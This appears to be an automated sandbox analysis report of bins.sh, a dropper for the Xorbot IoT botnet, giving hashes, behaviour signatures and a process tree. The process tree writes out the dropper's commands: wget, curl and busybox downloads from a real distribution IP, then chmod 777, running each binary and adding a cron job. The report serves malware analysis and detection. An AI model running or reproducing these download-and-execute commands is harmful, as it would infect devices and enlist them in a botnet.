Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/12/2024, 02:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9d1e0ce2335246f6bd57f886034a8b65

  • SHA1

    d8d5b5dae0e66bc74b700b8e66e96cd2deab2fba

  • SHA256

    915aef94b69db1c600838fe5e412a043bfba33eb88c97660c45203dd41567d1c

  • SHA512

    5d0ed44420c27385e495c4b21976494963b54854c18509d808ebb6940e5a821c6209f8a2e39e62f02cf124665c2ea1fb842ee7e03ff7fe78e08b661d3fb14763

  • SSDEEP

    192:1tE4IZAaZ/2QAQTX5+RbOnE4IZAaIhQAQTXmO7:1tE4IZxZ/YRbmE4IZxIw

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1989) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1481
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1482
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:1483
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/chmod
          chmod 777 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • File and Directory Permissions Modification
          PID:1500
        • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          ./Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Executes dropped EXE
          PID:1501
        • /bin/rm
          rm Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
            PID:1503
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/chmod
            chmod 777 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • File and Directory Permissions Modification
            PID:1508
          • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            ./4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
            • Executes dropped EXE
            PID:1509
          • /bin/rm
            rm 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
            2⤵
              PID:1511
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /bin/chmod
              chmod 777 ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • File and Directory Permissions Modification
              PID:1515
            • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              ./ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
              • Executes dropped EXE
              PID:1516
            • /bin/rm
              rm ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
              2⤵
                PID:1518
              • /usr/bin/wget
                wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                2⤵
                • Writes file to tmp directory
                PID:1521
              • /bin/chmod
                chmod 777 FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                2⤵
                • File and Directory Permissions Modification
                PID:1522
              • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                ./FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                2⤵
                • Executes dropped EXE
                PID:1523
              • /bin/rm
                rm FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                2⤵
                  PID:1525
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  2⤵
                  • Writes file to tmp directory
                  PID:1526
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  2⤵
                  • Writes file to tmp directory
                  PID:1528
                • /bin/chmod
                  chmod 777 xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1529
                • /tmp/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  ./xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  2⤵
                  • Executes dropped EXE
                  PID:1530
                • /bin/rm
                  rm xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                  2⤵
                    PID:1532
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    2⤵
                    • Writes file to tmp directory
                    PID:1533
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    2⤵
                    • Writes file to tmp directory
                    PID:1534
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    2⤵
                    • Writes file to tmp directory
                    PID:1535
                  • /bin/chmod
                    chmod 777 uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1536
                  • /tmp/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    ./uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    2⤵
                    • Executes dropped EXE
                    PID:1537
                  • /bin/rm
                    rm uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj
                    2⤵
                      PID:1539
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                      2⤵
                      • Writes file to tmp directory
                      PID:1540
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                      2⤵
                      • Writes file to tmp directory
                      PID:1541
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                      2⤵
                      • Writes file to tmp directory
                      PID:1542
                    • /bin/chmod
                      chmod 777 IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1543
                    • /tmp/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                      ./IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1544
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1546
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1547
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1548
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1549
                          • /bin/rm
                            rm IVbJBUW81Dec20hobIRFlucpQFpq2LgflK
                            2⤵
                              PID:1551
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/jB15isiekRoCS61ODdEacM3K8Gk1voRQxY
                              2⤵
                                PID:1554

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/IVbJBUW81Dec20hobIRFlucpQFpq2LgflK

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/uBPsmzZggdaKoQYJLJ094W7Rs9e3Zp5ICj

                                    Filesize

                                    117KB

                                    MD5

                                    849fa04ef88a8e8de32cb2e8538de5fe

                                    SHA1

                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                    SHA256

                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                    SHA512

                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  • /tmp/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /var/spool/cron/crontabs/tmp.RSwGgH

                                    Filesize

                                    210B

                                    MD5

                                    2fcfb4f3eba584819967bc3de38f82bb

                                    SHA1

                                    248425ba959e61d2c298d403d9c6072eb9442ec0

                                    SHA256

                                    799b826b634d853e295c2dcdb41a8f04c0d175b2754c39eefa00bacb79cb8361

                                    SHA512

                                    82eba86feea23b70847f8a58d002f9e46057a0df72a3281a6a7a7bb19e519fa6a082e51b7c946b8f1c624e162f6c2b6ee7a4b553c84899aea9f1b030af86990b